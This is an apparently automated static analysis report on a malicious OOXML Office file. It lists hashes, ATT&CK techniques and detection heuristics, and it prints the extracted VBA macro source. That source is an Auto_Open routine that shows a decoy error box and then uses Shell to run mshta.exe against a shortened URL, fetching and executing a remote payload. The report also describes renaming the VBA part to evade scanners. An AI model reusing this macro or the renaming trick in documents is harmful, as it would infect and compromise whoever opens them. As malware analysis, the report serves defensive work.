Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 deef43f7490a5db9…

MALICIOUS

Office (OOXML)

6.1 KB First seen: 2021-10-27
MD5: 03bbdcead22e9329a234dc39f55f0a2b SHA-1: 465b5a304541a673ce583bc20d2dc4746ccec421 SHA-256: deef43f7490a5db9f8f9b688d8bc669ecc360d068e3b40e39de124f85068db2e
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 Client Execution: Mshta T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Auto_Open subroutine that is triggered upon opening the document. This macro constructs and executes a command using mshta.exe to download and run a payload from the URL "https://www.bitly.com/kddjkdwokddwodkwodki". The use of mshta.exe and the Auto_Open macro strongly indicate a malicious intent to execute arbitrary code.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/adoaksodkasodko.b)
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Debug.Print Z
    Debug.Print (Shell(X + Y + Z))
    End Sub
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Dim Z As String
    X = "mshta.exe "
    Y = "https://www.bitly.com/"
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub Auto_Open()
    Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/ In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 316 bytes
SHA-256: 10682e69b74f2b4b7e1025c878ceeb8f81e65c7be12298956957ba5812e2fb4c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
Debug.Print MsgBox("ERROR!", vbOKCancel); returns; 1
Dim X As String
Dim Y As String
Dim Z As String
X = "mshta.exe "
Y = "https://www.bitly.com/"
Z = "kddjkdwokddwodkwodki"
Debug.Print X
Debug.Print Y
Debug.Print Z
Debug.Print (Shell(X + Y + Z))
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/adoaksodkasodko.b 13312 bytes
SHA-256: ffb907f7b29d00efa2f5a2175352bc7d4bf4597ad5d0e51841c4b6a6e252a192